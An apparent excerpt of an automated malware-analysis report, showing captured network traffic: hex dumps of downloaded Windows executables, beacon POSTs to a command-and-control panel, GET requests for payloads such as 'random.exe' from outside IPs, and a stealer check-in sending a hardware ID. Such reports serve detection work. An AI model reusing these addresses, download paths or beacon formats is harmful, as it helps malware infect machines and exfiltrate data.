08 00 00 06 80 02 00 00 04 2a 1e 02 28 04 00 00 0a 2a 1b 30 05 00 66 06 00 00 02 00 00 11 20 0d 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 15 00 00 00 11 05 00 00 23 00 00 00 96 04 00 00 91 01 00 00 7a 01 00 00 30 01 00 00 56 01 00 00 12 00 00 00 ab 04 00 00 4d 00 00 00 ad 05 00 00 d6 05 00 00 76 04 00 00 dd 00 00 00 ff 00 00 00 21 01
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 02:04:17 GMTContent-Type: application/octet-streamContent-Length: 3039744Last-Modified: Thu, 31 Oct 2024 02:01:36 GMTConnection: keep-aliveETag: "6722e500-2e6200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 70 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 31 00 00 04 00 00 9a fe 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6b 72 6d 65 65 73 6d 6a 00 b0 2b 00 00 b0 05 00 00 a6 2b 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 63 71 74 69 69 6a 7a 00 10 00 00 00 60 31 00 00 06 00 00 00 3a 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 31 00 00 22 00 00 00 40 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 02:04:27 GMTContent-Type: application/octet-streamContent-Length: 2145792Last-Modified: Thu, 31 Oct 2024 02:01:49 GMTConnection: keep-aliveETag: "6722e50d-20be00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 f0 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 73 00 00 04 00 00 27 b8 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 63 6d 61 6c 73 6f 6b 00 10 1a 00 00 d0 58 00 00 0c 1a 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 61 6a 64 70 65 71 69 00 10 00 00 00 e0 72 00 00 06 00 00 00 96 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 72 00 00 22 00 00 00 9c 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 02:04:37 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Thu, 31 Oct 2024 01:43:19 GMTConnection: keep-aliveETag: "6722e0b7-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 af e0 22 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 55 b5 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 02:04:40 GMTContent-Type: application/octet-streamContent-Length: 2814976Last-Modified: Thu, 31 Oct 2024 01:43:45 GMTConnection: keep-aliveETag: "6722e0d1-2af400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 f6 66 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6b 64 64 65 70 72 7a 61 00 a0 2a 00 00 a0 00 00 00 94 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6e 6a 73 61 79 69 70 00 20 00 00 00 40 2b 00 00 04 00 00 00 ce 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 d2 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 02:04:44 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 02:04:48 GMTContent-Type: application/octet-streamContent-Length: 1928704Last-Modified: Thu, 31 Oct 2024 02:01:56 GMTConnection: keep-aliveETag: "6722e514-1d6e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 90 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 4c 00 00 04 00 00 a6 3f 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 6b 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 6b 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 77 70 69 69 79 62 70 00 60 1a 00 00 20 32 00 00 52 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 64 6d 73 74 63 73 73 00 10 00 00 00 80 4c 00 00 04 00 00 00 48 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4c 00 00 22 00 00 00 4c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 33 32 41 37 34 42 36 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB32A74B65D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /innoinstaller.exe HTTP/1.1Host: 41.216.183.61
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002763001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 36 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002764001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 36 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002765001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFIJKFHIJKKEBGCFBFHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 33 42 36 31 37 32 45 44 33 41 39 32 31 32 37 33 37 30 37 38 35 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 2d 2d 0d 0a Data Ascii: ------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="hwid"13B6172ED3A92127370785------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="build"tale------CAFIJKFHIJKKEBGCFBFH--
